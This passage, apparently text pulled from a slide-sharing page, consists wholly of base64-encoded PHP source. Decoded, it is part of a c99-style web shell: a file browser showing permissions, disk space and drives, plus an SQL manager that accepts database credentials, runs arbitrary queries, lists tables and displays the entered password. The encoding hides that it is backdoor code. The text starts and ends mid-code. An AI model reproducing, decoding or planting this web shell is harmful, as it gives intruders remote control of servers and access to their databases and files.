b2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJHNvcnQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQo KTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48 L2E+IjsNCiAkaSsrOw0KfQ0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCmlmIChpc193cml0 YWJsZSgkZCkpDQp7DQogJHdkID0gVFJVRTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPWdyZWVuPlsg b2sgXTwvZm9udD4iOw0KIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhm aWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOw0KfQ0KZWxzZQ0Kew0KICR3ZCA9IEZBTFNFOw0K ICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsNCiBlY2hvICI8 Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCmlmIChpc19jYWxsYWJsZSgiZGlz a19mcmVlX3NwYWNlIikpDQp7DQogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICR0b3Rh bCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOw0KIGlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9 IDA7fQ0KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9DQogaWYgKCRmcmVlIDwg
  11. 11. MCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9 ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUp LDIpOw0KIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19z aXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOw0KfQ0KZWNobyAiPGJyPiI7 DQokbGV0dGVycyA9ICIiOw0KaWYgKCR3aW4pDQp7DQogJHYgPSBleHBsb2RlKCJcXCIsJGQpOw0K ICR2ID0gJHZbMF07DQogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikNCiB7DQog ICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0 ZXMpOw0KICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICBp ZiAoJGJvb2wpDQogIHsNCiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxl bmNvZGUoJGxldHRlci4iOlxcIikuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5bICI7DQog ICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgIGVsc2Ug eyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAg ICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsNCiAgfQ0KIH0NCiBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkg e2VjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIuJGxldHRlcnMuIjxicj4iO30NCn0NCmlm IChjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkNCnsNCiBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAk aXRlbSkNCiB7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRp dGVtWzFdKTsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFd KTsNCiAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhw bG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYg PSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpO30NCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFj ZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQoNCiAgZWNobyAiPGEgaHJlZj1cIiIu JGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0K IH0NCn0NCmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCmlmICgoIWVtcHR5KCRk b25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8 VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBi b3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29s b3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0 aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3Rh YmxlPjxicj4iO30NCmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFw c2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUg d2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBi b3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7DQppZiAoJGFj dCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQppZiAoJGFjdCA9PSAic3FsIikNCnsN CiBlY2hvKCI8Zm9ybSBuYW1lPSdzcWwnIG1ldGhvZD0nUE9TVCc+PGlucHV0IG5hbWU9J2FjdCcg dHlwZT0naGlkZGVuJyB2YWx1ZT0nc3FsJz48aW5wdXQgbmFtZT0nc3FsX3RibF9pbnNlcnRfcScg dHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2xvZ2luJyB0eXBlPSdoaWRk ZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdraWxsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdzcWxfb3JkZXInIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9 J3NxbF90YmxfbHMnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90Ymxf bGUnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmxfYWN0JyB0eXBl PSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSd0aGlzdGJsJyB0eXBlPSdoaWRkZW4nIHZh bHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfcGFzc3dkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdzcWxfc2VydmVyJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1l PSdzcWxfcG9ydCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2RiJyB0 eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfYWN0JyB0eXBlPSdoaWRkZW4n IHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfdGJsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdmJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmdCcgdHlw ZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3F1ZXJ5JyB0eXBlPSdoaWRkZW4n IHZhbHVlPScnPjwvZm9ybT4iKTsNCg0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9sb2dpbiddKSkg IHskc3FsX2xvZ2luPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSk7fQ0KIGlm IChpc3NldCgkX1BPU1RbJ3NxbF9wYXNzd2QnXSkpIHskc3FsX3Bhc3N3ZD1odG1sc3BlY2lhbGNo YXJzKCRfUE9TVFsnc3FsX3Bhc3N3ZCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3NlcnZl ciddKSkgeyRzcWxfc2VydmVyPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfc2VydmVyJ10p O30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfcG9ydCddKSkgICB7JHNxbF9wb3J0PWh0bWxzcGVj aWFsY2hhcnMoJF9QT1NUWydzcWxfcG9ydCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2Ri J10pKSAgICAgeyRzcWxfZGI9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9kYiddKTt9DQog aWYgKGlzc2V0KCRfUE9TVFsnc3FsX2FjdCddKSkgICAgIHskc3FsX2FjdD1odG1sc3BlY2lhbGNo YXJzKCRfUE9TVFsnc3FsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibCddKSkg
  12. 12. ICAgIHskc3FsX3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibCddKTt9DQogaWYg KGlzc2V0KCRfUE9TVFsnc3FsX3RibF9hY3QnXSkpICAgICB7JHNxbF90YmxfYWN0PWh0bWxzcGVj aWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsndGhp c3RibCddKSkgICAgIHskdGhpc3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsndGhpc3RibCdd KTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX29yZGVyJ10pKSAgICAgeyRzcWxfb3JkZXI9aHRt bHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9vcmRlciddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsn c3FsX3RibF9scyddKSkgICAgIHskc3FsX3RibF9scz1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn c3FsX3RibF9scyddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9sZSddKSkgICAgIHsk c3FsX3RibF9sZT1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9sZSddKTt9DQogaWYg KGlzc2V0KCRfUE9TVFsnc3FsX3F1ZXJ5J10pKSAgICAgeyRzcWxfcXVlcnk9aHRtbHNwZWNpYWxj aGFycygkX1BPU1RbJ3NxbF9xdWVyeSddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9p bnNlcnRfcSddKSkgeyRzcWxfdGJsX2luc2VydF9xPXVybGRlY29kZShodG1sc3BlY2lhbGNoYXJz KCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcSddKSk7fQ0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF90 YmxfaW5zZXJ0X2Z1bmN0cyddKSkgeyRzcWxfdGJsX2luc2VydF9mdW5jdHM9aHRtbHNwZWNpYWxj aGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X2Z1bmN0cyddKTt9DQogaWYgKGlzc2V0KCRfUE9T VFsnc3FsX3RibF9pbnNlcnRfcmFkaW8nXSkpIHskc3FsX3RibF9pbnNlcnRfcmFkaW89aHRtbHNw ZWNpYWxjaGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X3JhZGlvJ10pO30NCg0KDQoNCiA/PjxU QUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNp bmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBi Z0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNv bG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIi IHZhbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwDQogaWYgKCRzcWxfc2VydmVyKQ0KIHsNCiAgJHNx bF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xv Z2luLCAkc3FsX3Bhc3N3ZCk7DQogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogIEBteXNx bF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOw0KICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1 Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3Nv Y2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiB9DQogZWxzZSB7 JHNxbF9zb2NrID0gRkFMU0U7fQ0KIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsNCiBp ZiAoISRzcWxfc29jaykNCiB7DQogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNU SU9OIjt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRl cj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwvYj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHNxbHF1aWNr bGF1bmNoID0gYXJyYXkoKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCIj XCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNx bF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50 LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiIn O2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9z ZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJz KCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVu Y2hbXSA9IGFycmF5KCJRdWVyeSIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1 ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5z cWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJs LnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52 YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxf cGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50 LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIn O2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9y dCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFy cmF5KCJTZXJ2ZXItc3RhdHVzIiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVl PSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5o dG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFs dWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0 LnZhbHVlPSdzZXJ2ZXJzdGF0dXMnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTsiKTsNCiAgJHNxbHF1 aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSci Lmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2Qu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNx bF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1l
  13. 13. bnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztk b2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0nc2VydmVydmFycyc7ZG9jdW1lbnQuc3FsLnN1Ym1p dCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCIjXCIgb25j bGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dp bi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5z cWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3Vt ZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIp LiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf cG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQu c3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCIj XCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnN1 Ym1pdCgpOyIpOw0KICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9p bmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4g Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOw0KICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+ IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1c IiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9fQ0KICBlY2hvICI8 L2NlbnRlcj4iOw0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7DQogaWYgKCEkc3FsX3NvY2sp IHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZv bnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dp biBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxo b3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0 ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2Vs bFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZu YnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5h bWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8 L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1l dGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48 dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBt YXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9w YXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0 IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRk PjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1y aWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9z dCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9w b3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQg dHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3Ry PjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBw YW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBo ZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC5z cWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9Jzw/ZWNobyAo aHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKSkgPz4nO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dk LnZhbHVlPSc8P2VjaG8gKGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpKSA/Pic7ZG9jdW1l bnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl cnZlcikpID8+Jztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNp YWxjaGFycygkc3FsX3BvcnQpKSA/Pic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyI+PGI+SG9tZTwv Yj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0 X3RhYmxlcygkc3FsX2RiKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJv cigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIjXCIgb25jbGlj az1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1 ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfbG9naW4u dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3Fs X3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVu dC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4i Jztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bv cnQpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRyb3cg
  14. 14. PSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VM RUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2Fy cmF5KCRjb3VudCk7IGVjaG8gIjxiPrsmbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1 bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIu aHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52 YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3Fs X3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVu dC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2Rv Y3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJztk b2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiIn O2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSku IjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3Vs dCgkY291bnQpOyAkYysrO30NCiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGlu IGRhdGFiYXNlLiI7fQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgPz48dGQgd2lkdGg9IjEi IGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsn 